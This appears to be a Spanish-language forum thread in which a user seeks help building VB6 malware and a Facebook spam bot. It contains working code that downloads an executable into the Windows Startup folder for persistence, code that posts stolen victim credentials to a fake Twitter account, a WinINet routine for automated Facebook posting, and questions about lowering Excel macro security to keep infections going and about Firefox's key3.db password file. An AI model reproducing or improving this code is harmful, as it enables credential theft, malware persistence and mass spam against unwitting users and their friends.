Mensajes

Hola Foreros

Quisiera Pedir Su colaboracion Teorica y si fuera posible practica.

La Idea :

Hace un Bot para Facebook que envie mensaje a Tus Amigos , Asi como a los amigos de tus amigos.

Puntos En CUenta:
+ Leer La  informacion de Cada Usuario, Y a travez de estos Datos enviar un Mensaje Personalizado, Asi hacer mas creible el Mensaje.
+ No enviar un mensaje al Mismo Usuario
+ Recopilar Datos Como Id, Correo y Pais.

+++++++++++++++++++++++++



Personalmente Hice lo anteriormente explicado de manera Basica. para que se entienda un poco la Idea.

http://www.4shared.com/file/QFuIR-OI/amixerfacebook.html
Codigo FUente en Vb 6.0

El Codigo que adjunto Cumple con el objetivo pero no es eficiente (respecto al tiempo). Ademas de otros detalles.

Agradecere Su Colaboracion.


pd : No es para implementar a un virus o algo asi.. es para enviar mensajes desde una Cuenta "Basura"

No kreo q deberias cerrarte solo con adsense .. Existe varias empresas de pago por click.. por ejemplo : smowtion.. adfunky.. etc..

Ademas no hay razon para poner el anuncio en el porgrama.. puedes hacer que pasado x tiempo se abra un iexplorer con la pagina que quieras.

Claro

1. Crea un form (formulario)
2.  Abres Componentes (Ctrol + T)
3. seleccionas "Microsoft Internet Control" de la lista , Aceptas.
4.  te aparecera un nuevo item en el menu de controles (o como se llame) foto aka :

5. Agregas este nuevo control al formulario

6 en el form o en un command.. o donde quieras pones esto :

WebBrowser1.Navigate("www.webconadsense.com")

... ojala t sirva

mas info :
http://webear.ning.com/profiles/blogs/manejar-html-con-visual-basic

hola =)

Una vez que se haya el archivo key3.db que se hace?

Este Codigo mr funciona ala perfeccion :

Código (vb) [Seleccionar] Expandir


Private Declare Function GetVersion Lib "kernel32" () As Long
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
     (ByVal lpBuffer As String, nSize As Long) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Public Function GetWinVersion() As String
Dim Ver As Long, WinVer As Long
Ver = GetVersion()
WinVer = Ver And &HFFFF&
GetWinVersion = Format((WinVer Mod 256) + ((WinVer \ 256) / 100), "Fixed")
End Function


Sub actualizar()
     Dim lpBuff As String * 25
     Dim ret As Long, UserName As String

     ret = GetUserName(lpBuff, 25)
     UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)

If GetWinVersion >= 4 And GetWinVersion <= 5 Then
DownloadFile "http://++.exe", "c:\windows\all users\menú inicio\programas\inicio\" & "++" & ".exe"
End If
If GetWinVersion >= 5 And GetWinVersion <= 6 Then
DownloadFile "http://++.exe", "c:\documents and settings\all users\menú inicio\programas\inicio\" & "++" & ".exe"
End If

If GetWinVersion >= 6 And GetWinVersion <= 7 Then
DownloadFile "http://++.exe", "C:\Users\" & UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & "++" & ".exe"
End If
End Sub


lo que me falta es como poner el nivel de seguridad en lo mas bajo.. alguna idea??

Pues la idea es que, si el av detecta mi .exe, pueda aun mantenerse el archivo excel que prosiga con la infeccion

HOla Foreros en mi busqueda de nuevas victimas amistades, me tope con los macros de excel, los cuales permiten descargar de forma oculta un .exe archivo  ( me emociono xq no lo sabia )

Bueno en resumen mi duda es esta :

Se puede hacer en vb6  alguna rutina para crear un archivo .xls, ( aunque de preferencia .xla ) que contenga macros en su interior?.

Y de ser asi que pasos puedo seguir ..

pd: se lo que van a decir .. usa google.. no seas flojo.. que en el foro hay gb de informacion sobre el tema..  Sin embargo soy sincero he buskado y encontra porca informacion y de lo cual no comprendo nada.

Agradeceria su ayuda

Basicamente tienes que leerte todo esto :

http://www.recursosvisualbasic.com.ar/htm/tutoriales/tutorial-basico5.htm

Y luego de eso usa tu creatividad !

Bueno debido a problemas de mi hosting ( http://www.teensmagazine.net ) .. ya no tenia donde enviar claves datos, de mis victimas amigos.

Asi que lo mas practico que se ocurrio fue twittear, los datos obtrenido desde mi cuenta twitter (obiamente una cuenta nueva y falsa).

Mi pregunta es :

¿Existe alguna forma mas sencilla, de twittear desde Vb6? quizas en menos lineas..

Codigo:

Código (vb) [Seleccionar] Expandir


Private Sub twittear()
If wb2.LocationURL = "https://mobile.twitter.com/session/new" Then
Me.wb2.Document.All("username").Value = "AquiCorreo"
Me.wb2.Document.All("password").Value = "AquiContraseña"
Dim HTML
Dim HTMLI
Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
    If HTMLI.Type = "submit" Then
      HTMLI.Click
      Exit Sub
    End If
  Next
End If

If wb2.LocationURL = "http://mobile.twitter.com/" Then
'p2.Visible = True
Me.wb2.Document.All("tweet_text").Value = id.Text & contraseña.Text  
Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
    If HTMLI.Value = "Tweet" Then
      HTMLI.Click
      Exit Sub
    End If
  Next
  End If
End Sub


pd : No confien en AqpHost -.-!

Leandro ..

Por favor

Como haria para enviar un comentario ?, No entendi bien tu modulo...

Podrias hacer sol oesa parte en un sub, con su modulo respectivo.. Gracias

Public Function PublishComent(ByVal sPostFormId As String, ByVal sFb_dtsg As String, ByVal sComent As String) As Boolean
    Dim hInternetOpen           As Long
    Dim hInternetConnect        As Long
    Dim hHttpOpenRequest        As Long
    Dim bResult                 As Boolean
    Dim sReadBuffer             As String * 1024
    Dim sBuffer                 As String
    Dim lNumberOfBytesRead      As Long

    hInternetOpen = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
   
    'InternetSetOption hInternetOpen, INTERNET_OPTION_CONNECT_TIMEOUT, TIME_OUT, 4
    'InternetSetOption hInternetOpen, INTERNET_OPTION_RECEIVE_TIMEOUT, TIME_OUT, 4
    'InternetSetOption hInternetOpen, INTERNET_OPTION_SEND_TIMEOUT, TIME_OUT, 4

    hInternetConnect = InternetConnect(hInternetOpen, "m.facebook.com", INTERNET_DEFAULT_HTTPS_PORT, vbNullString, "HTTP/1.1", INTERNET_SERVICE_HTTP, 0, 0)

    hHttpOpenRequest = HttpOpenRequest(hInternetConnect, "POST", "/a/home.php?refid=7", "HTTP/1.0", vbNullString, 0, lFlags, 0)

    sBuffer = "fb_dtsg=" & sFb_dtsg & "&post_form_id=" & sPostFormId & "&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&status=" & Unicode2UTF8(sComent) & "&update=Compartir"


    PublishComent = HttpSendRequest(hHttpOpenRequest, vbNullString, 0, ByVal sBuffer, Len(sBuffer))
   
    'sBuffer = vbNullString
   
    'Do
    '    sReadBuffer = vbNullString
    '    bResult = InternetReadFile(hHttpOpenRequest, sReadBuffer, Len(sReadBuffer), lNumberOfBytesRead)
    '    sBuffer = sBuffer & Left$(sReadBuffer, lNumberOfBytesRead)
    '    If Not CBool(lNumberOfBytesRead) Then Exit Do
    'Loop
   
     'If CBool(InStr(sBuffer, "/home.php?refid=7") > 0) Then
        'MsgBox UTF82Unicode(MidText(sBuffer, "(<a href=" & Chr$(34) & "</a> (", ")"))
        'LogIn = UTF82Unicode(MidText(sBuffer, "(<a href=" & Chr$(34) & "</a> (", ")"))
     '   LogIn = True
    'End If
       
    Call InternetCloseHandle(hHttpOpenRequest)
    Call InternetCloseHandle(hInternetConnect)
    Call InternetCloseHandle(hInternetOpen)
   
End Function